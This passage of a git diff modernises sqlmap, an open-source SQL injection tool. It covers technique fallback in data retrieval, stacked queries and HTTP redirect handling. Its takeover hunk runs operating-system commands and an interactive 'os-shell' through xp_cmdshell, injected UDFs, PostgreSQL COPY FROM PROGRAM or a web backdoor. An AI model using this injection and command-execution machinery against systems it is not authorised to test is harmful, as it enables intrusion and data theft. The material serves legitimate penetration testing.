MAX_TECHNIQUES_PER_VALUE + + if not found and fallback: + warnMsg = "something went wrong with full UNION " + warnMsg += "technique (could be because of " + warnMsg += "limitation on retrieved number of entries)" + if " FROM " in query.upper(): + warnMsg += ". Falling back to partial UNION technique" + singleTimeWarnMessage(warnMsg) + + try: + pushValue(kb.forcePartialUnion) + kb.forcePartialUnion = True + value = _goUnion(query, unpack, dump) + found = (value is not None) or (value is None and expectingNone) + finally: + kb.forcePartialUnion = popValue() + else: + singleTimeWarnMessage(warnMsg) - if expected == EXPECTED.BOOL: - value = __goError(forgeCaseExpression, expected, dump) - else: - value = __goError(query, expected, dump) + if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: + setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) + value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) + count += 1 + found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE - count += 1 - found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE + if found and conf.dnsDomain: + _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) + warnMsg = "option '--dns-domain' will be ignored " + warnMsg += "as faster techniques are usable " + warnMsg += "(%s) " % _ + singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: - kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: - value = __goBooleanProxy(booleanExpression) + value = _goBooleanProxy(booleanExpression) else: - value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump) + value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: + match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) + kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): - kb.technique = PAYLOAD.TECHNIQUE.TIME + setTechnique(PAYLOAD.TECHNIQUE.TIME) else: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: - value = __goBooleanProxy(booleanExpression) + value = _goBooleanProxy(booleanExpression) else: - value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump) - - if value and isinstance(value, basestring): - value = value.strip() + value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" - raise sqlmapNotVulnerableException, errMsg + raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True + kb.responseTimeMode = None + + conf.tbl = popValue() + conf.db = popValue() + if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False - if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: - warnMsg = "in case of continuous data retrieval problems you are advised to try " - warnMsg += "a switch '--no-cast' and/or switch '--hex'" - singleTimeWarnMessage(warnMsg) + if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: + if conf.abortOnEmpty: + errMsg = "aborting due to empty data retrieval" + logger.critical(errMsg) + raise SystemExit + else: + warnMsg = "in case of continuous data retrieval problems you are advised to try " + warnMsg += "a switch '--no-cast' " + warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" + singleTimeWarnMessage(warnMsg) + + # Dirty patch (MSSQL --binary-fields with 0x31003200...) + if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: + def _(value): + if isinstance(value, six.text_type): + if value.startswith(u"0x"): + value = value[2:] + if value and len(value) % 4 == 0: + candidate = "" + for i in xrange(len(value)): + if i % 4 < 2: + candidate += value[i] + elif value[i] != '0': + candidate = None + break + if candidate: + value = candidate + return value + + value = applyFunctionRecursively(value, _) + + # Dirty patch (safe-encoded unicode characters) + if isinstance(value, six.text_type) and "\\x" in value: + try: + candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) + if "\\x" not in candidate: + value = candidate + except: + pass return extractExpectedValue(value, expected) def goStacked(expression, silent=False): - kb.technique = PAYLOAD.TECHNIQUE.STACKED + if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: + setTechnique(PAYLOAD.TECHNIQUE.STACKED) + else: + for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): + _ = getTechniqueData(technique) + if _ and "stacked" in _["title"].lower(): + setTechnique(technique) + break + expression = cleanQuery(expression) if conf.direct: return direct(expression) - comment = queries[Backend.getIdentifiedDbms()].comment.query query = agent.prefixQuery(";%s" % expression) - query = agent.suffixQuery("%s;%s" % (query, comment)) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True) + Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) def checkBooleanExpression(expression, expectingNone=True): - return getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, suppressOutput=True, expectingNone=expectingNone) + return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 4e59f744bc9..3250cfe5c60 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,20 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib2 +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib - -class MethodRequest(urllib2.Request): - ''' - Used to create HEAD/PUT/DELETE/... requests with urllib2 - ''' +class MethodRequest(_urllib.request.Request): + """ + Used to create HEAD/PUT/DELETE/... requests with urllib + """ def set_method(self, method): - self.method = method.upper() + self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) def get_method(self): - return getattr(self, 'method', urllib2.Request.get_method(self)) + return getattr(self, 'method', _urllib.request.Request.get_method(self)) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py new file mode 100644 index 00000000000..5b1c3495e4b --- /dev/null +++ b/lib/request/pkihandler.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +ssl = None +try: + import ssl as _ssl + ssl = _ssl +except ImportError: + pass + +from lib.core.data import conf +from lib.core.common import getSafeExString +from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + + +class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): + def __init__(self, auth_file): + _urllib.request.HTTPSHandler.__init__(self) + self.auth_file = auth_file + + def https_open(self, req): + return self.do_open(self.getConnection, req) + + def getConnection(self, host, timeout=None): + if timeout is None: + timeout = conf.timeout + + if not hasattr(_http_client, "HTTPSConnection"): + raise SqlmapConnectionException("HTTPS support is not available in this Python build") + + try: + if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"): + ctx = ssl.create_default_context() + ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) + try: + return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) + except TypeError: + pass + + return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=timeout) + + except (IOError, OSError) as ex: + errMsg = "error occurred while using key " + errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) diff --git a/lib/request/proxy.py b/lib/request/proxy.py deleted file mode 100644 index 419ff2c01c4..00000000000 --- a/lib/request/proxy.py +++ /dev/null @@ -1,120 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import httplib -import socket -import urllib -import urllib2 - -from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.settings import PYVERSION - -if PYVERSION >= "2.6": - import ssl - -class ProxyHTTPConnection(httplib.HTTPConnection): - _ports = {"http" : 80, "https" : 443} - - def request(self, method, url, body=None, headers={}): - # Request is called before connect, so can interpret url and get - # real host/port to be used to make CONNECT request to proxy - proto, rest = urllib.splittype(url) - - if proto is None: - raise ValueError, "unknown URL type: %s" % url - - # Get host - host, rest = urllib.splithost(rest) - - # Try to get port - host, port = urllib.splitport(host) - - # If port is not defined try to get from proto - if port is None: - try: - port = self._ports[proto] - except KeyError: - raise ValueError, "unknown protocol for: %s" % url - - self._real_host = host - self._real_port = int(port) - - httplib.HTTPConnection.request(self, method, rest, body, headers) - - def connect(self): - httplib.HTTPConnection.connect(self) - - # Send proxy CONNECT request - self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port)) - - # Expect a HTTP/1.0 200 Connection established - response = self.response_class(self.sock, strict=self.strict, method=self._method) - (version, code, message) = response._read_status() - - # Probably here we can handle auth requests... - if code != 200: - # Proxy returned and error, abort connection, and raise exception - self.close() - - raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip()) - - # Eat up header block from proxy - while True: - # Should not use directly fp probably - line = response.fp.readline() - - if line == "\r\n": - break - -class ProxyHTTPSConnection(ProxyHTTPConnection): - default_port = 443 - - def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None): - ProxyHTTPConnection.__init__(self, host, port) - self.key_file = key_file - self.cert_file = cert_file - - def connect(self): - ProxyHTTPConnection.connect(self) - - # Make the sock ssl-aware - if PYVERSION >= "2.6": - sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file) - self.sock = sslobj - else: - sslobj = socket.ssl(self.sock, self.key_file, self.cert_file) - self.sock = httplib.FakeSocket(self.sock, sslobj) - -class ProxyHTTPHandler(urllib2.HTTPHandler): - def __init__(self, proxy=None, debuglevel=0): - self.proxy = proxy - - urllib2.HTTPHandler.__init__(self, debuglevel) - - def do_open(self, http_class, req): - if self.proxy is not None: - req.set_proxy(self.proxy, "http") - - return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req) - -if PYVERSION >= "2.6": - class ProxyHTTPSHandler(urllib2.HTTPSHandler): - def __init__(self, proxy=None, debuglevel=0): - self.proxy = proxy - - urllib2.HTTPSHandler.__init__(self, debuglevel) - - def do_open(self, http_class, req): - if self.proxy is not None: - req.set_proxy(self.proxy, "https") - - return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req) -else: - class ProxyHTTPSHandler: - def __init__(self, *args, **kwargs): - errMsg = "unsupported feature on versions of Python before 2.6" - raise sqlmapUnsupportedFeatureException, errMsg diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 3948a7631f4..1d19cfdd154 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,50 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib -import urllib2 +from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import urllib as _urllib -from lib.core.exception import sqlmapConnectionException - -class HTTPRangeHandler(urllib2.BaseHandler): +class HTTPRangeHandler(_urllib.request.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file - - This was extremely simple. The Range header is a HTTP feature to - begin with so all this class does is tell urllib2 that the - "206 Partial Content" reponse from the HTTP server is what we - expected. - - Example: - import urllib2 - import byterange - - range_handler = range.HTTPRangeHandler() - opener = urllib2.build_opener(range_handler) - - # install it - urllib2.install_opener(opener) - - # create Request and set Range header - req = urllib2.Request('http://www.python.org/') - req.header['Range'] = 'bytes=30-50' - f = urllib2.urlopen(req) """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response - r = urllib.addinfourl(fp, hdrs, req.get_full_url()) + r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error - errMsg = "Invalid range" - raise sqlmapConnectionException, errMsg + errMsg = "there was a problem while connecting " + errMsg += "target ('416 - Range Not Satisfiable')" + raise SqlmapConnectionException(errMsg) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index f1a81f158b5..a51b6dd809b 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,105 +1,206 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib2 -import urlparse +import io +import re +import time +import types -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger from lib.core.common import getHostHeader -from lib.core.common import getUnicode +from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput -from lib.core.enums import HTTPHEADER +from lib.core.convert import getBytes +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException +from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import MAX_CONNECTION_READ_SIZE +from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage +from lib.request.basic import parseResponse +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class SmartRedirectHandler(urllib2.HTTPRedirectHandler): +class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: - if "location" in headers: - retVal = headers.getheaders("location")[0].split("?")[0] - elif "uri" in headers: - retVal = headers.getheaders("uri")[0].split("?")[0] + if HTTP_HEADER.LOCATION in headers: + retVal = headers[HTTP_HEADER.LOCATION] + elif HTTP_HEADER.URI in headers: + retVal = headers[HTTP_HEADER.URI] return retVal - def _ask_redirect_choice(self, redcode, redurl): - if kb.redirectChoice is None: - msg = "sqlmap got a %d redirect to " % redcode - msg += "'%s'. Do you want to follow? [Y/n] " % redurl - choice = readInput(msg, default="Y") + def _ask_redirect_choice(self, redcode, redurl, method): + with kb.locks.redirect: + if kb.choices.redirect is None: + msg = "got a %d redirect to " % redcode + msg += "'%s'. Do you want to follow? [Y/n] " % redurl - kb.redirectChoice = choice.upper() + kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO - def _process_http_redirect(self, result, headers, code, content, msg, redurl): - content = decodePage(content, headers.get(HTTPHEADER.CONTENT_ENCODING), headers.get(HTTPHEADER.CONTENT_TYPE)) + if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: + msg = "redirect is a result of a " + msg += "POST request. Do you want to " + msg += "resend original POST data to a new " + msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") - threadData = getCurrentThreadData() - threadData.lastRedirectMsg = (threadData.lastRequestUID, content) + kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True) - responseMsg = "HTTP response " - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg)) + if kb.resendPostOnRedirect: + self.redirect_request = self._redirect_request - if headers: - logHeaders = "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in headers.items()) - else: - logHeaders = "" - - logHTTPTraffic(threadData.lastRequestMsg, "%s%s" % (responseMsg, logHeaders)) + def _redirect_request(self, req, fp, code, msg, headers, newurl): + retVal = _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host) - responseMsg += getUnicode(logHeaders) + if hasattr(req, "redirect_dict"): + retVal.redirect_dict = req.redirect_dict - logger.log(7, responseMsg) + return retVal - if "set-cookie" in headers: - kb.redirectSetCookie = headers["set-cookie"].split("; path")[0] + def http_error_302(self, req, fp, code, msg, headers): + start = time.time() + content = None + forceRedirect = False + redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None - result.redcode = code - result.redurl = redurl + try: + content = fp.fp.read(MAX_CONNECTION_TOTAL_SIZE) + fp.fp = io.BytesIO(content) + except _http_client.IncompleteRead as ex: + content = ex.partial + fp.fp = io.BytesIO(content) + except: + content = b"" - return result + content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) - def http_error_302(self, req, fp, code, msg, headers): - content = None - redurl = self._get_header_redirect(headers) + threadData = getCurrentThreadData() + threadData.lastRedirectMsg = (threadData.lastRequestUID, content) - if not urlparse.urlsplit(redurl).netloc: - redurl = urlparse.urljoin(req.get_full_url(), redurl) + redirectMsg = "HTTP redirect " + redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) - self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl) + if headers: + logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) + else: + logHeaders = "" - try: - content = fp.read() - except Exception, msg: - dbgMsg = "there was a problem while retrieving " - dbgMsg += "redirect response content (%s)" % msg - logger.debug(dbgMsg) - - if kb.redirectChoice == REDIRECTION.YES: - req.headers[HTTPHEADER.HOST] = getHostHeader(redurl) - result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + redirectMsg += logHeaders + if content: + redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) + + logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) + + if redurl: + try: + if not _urllib.parse.urlsplit(redurl).netloc: + redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) + + self._infinite_loop_check(req) + if conf.scope: + if not re.search(conf.scope, redurl, re.I): + redurl = None + else: + forceRedirect = True + else: + self._ask_redirect_choice(code, redurl, req.get_method()) + except ValueError: + redurl = None + result = fp + + if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): + parseResponse(content, headers) + + req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) + if headers and HTTP_HEADER.SET_COOKIE in headers: + cookies = dict() + delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER + last = None + + for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []): + if '=' in part: + part = part.strip() + key, value = part.split('=', 1) + cookies[key] = value + last = key + elif last: + cookies[last] += "%s%s" % (delimiter, part) + + req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) + + try: + result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + except _urllib.error.HTTPError as ex: + result = ex + + # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 + try: + hasattr(result, "read") + except KeyError: + class _(object): + pass + result = _() + + # Dirty hack for http://bugs.python.org/issue15701 + try: + result.info() + except AttributeError: + def _(self): + return getattr(self, "hdrs", {}) + + result.info = types.MethodType(_, result) + + if not hasattr(result, "read"): + def _(self, length=None): + try: + retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) + except: + retVal = "" + return getBytes(retVal) + + result.read = types.MethodType(_, result) + + if not getattr(result, "url", None): + result.url = redurl + + if not getattr(result, "code", None): + result.code = 999 + except: + redurl = None + result = fp + fp.read = io.BytesIO(b"").read else: result = fp - return self._process_http_redirect(result, headers, code, content, msg, redurl) + threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) + + result.redcode = code + result.redurl = getUnicode(redurl) if six.PY3 else redurl + return result - http_error_301 = http_error_303 = http_error_307 = http_error_302 + http_error_301 = http_error_303 = http_error_307 = http_error_308 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) - errMsg += "please check all provided parameters and/or provide missing ones." - raise sqlmapConnectionException, errMsg + errMsg += "Please check all provided parameters and/or provide missing ones" + raise SqlmapConnectionException(errMsg) diff --git a/lib/request/templates.py b/lib/request/templates.py index 2a4be490408..42ebe074e20 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import kb @@ -13,10 +13,9 @@ def getPageTemplate(payload, place): if payload and place: if (payload, place) not in kb.pageTemplates: - page, _ = Request.queryPage(payload, place, content=True) + page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] return retVal - diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 19a387163bb..cb3e8a58bcb 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,32 +1,40 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from extra.safe2bin.safe2bin import safechardecode -from lib.core.common import dataToStdout +from __future__ import print_function + +import sys + from lib.core.common import Backend -from lib.core.common import getSPQLSnippet -from lib.core.common import isTechniqueAvailable +from lib.core.common import dataToStdout +from lib.core.common import getSQLSnippet +from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS -from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.enums import OS +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web -from lib.takeover.xp_cmdshell import xp_cmdshell - +from lib.takeover.xp_cmdshell import XP_cmdshell +from lib.utils.safe2bin import safechardecode +from thirdparty.six.moves import input as _input -class Abstraction(Web, UDF, xp_cmdshell): +class Abstraction(Web, UDF, XP_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities - to UDF / xp_cmdshell objects + to UDF / XP_cmdshell objects """ def __init__(self): @@ -35,13 +43,16 @@ def __init__(self): UDF.__init__(self) Web.__init__(self) - xp_cmdshell.__init__(self) + XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): - if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) - elif Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): @@ -49,15 +60,18 @@ def execCmd(self, cmd, silent=False): else: errMsg = "Feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def evalCmd(self, cmd, first=None, last=None): retVal = None - if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + retVal = self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) - elif Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) elif Backend.isDbms(DBMS.MSSQL): @@ -65,22 +79,22 @@ def evalCmd(self, cmd, first=None, last=None): else: errMsg = "Feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) return safechardecode(retVal) def runCmd(self, cmd): - getOutput = None + choice = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " - getOutput = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if getOutput in ("a", "A"): + if choice == 'A': self.alwaysRetrieveCmdOutput = True - if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput: + if choice == 'Y' or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: @@ -91,44 +105,52 @@ def runCmd(self, cmd): self.execCmd(cmd) def shell(self): - if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): + if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: - if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): - infoMsg = "going to use injected sys_eval and sys_exec " - infoMsg += "user-defined functions for operating system " + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " + infoMsg += "command execution" + logger.info(infoMsg) + + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + infoMsg = "going to use injected user-defined functions " + infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): - infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) else: errMsg = "feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(osShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: - command = raw_input("os-shell> ") + command = _input("os-shell> ") + command = getUnicode(command, encoding=sys.stdin.encoding) + except UnicodeDecodeError: + pass except KeyboardInterrupt: - print + print() errMsg = "user aborted" logger.error(errMsg) except EOFError: - print + print() errMsg = "exit" logger.error(errMsg) break @@ -136,17 +158,17 @@ def shell(self): if not command: continue - if command.lower() in ( "x", "q", "exit", "quit" ): + if command.lower() in ("x", "q", "exit", "quit"): break self.runCmd(command) - def __initRunAs(self): - if not conf.dCred: + def _initRunAs(self): + if not conf.dbmsCred: return - if not conf.direct and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): - errMsg = "stacked queries is not supported hence sqlmap cannot " + if not conf.direct and not isStackingAvailable(): + errMsg = "stacked queries are not supported hence sqlmap cannot " errMsg += "execute statements as another user. The execution " errMsg += "will continue and the DBMS credentials provided " errMsg += "will simply be ignored" @@ 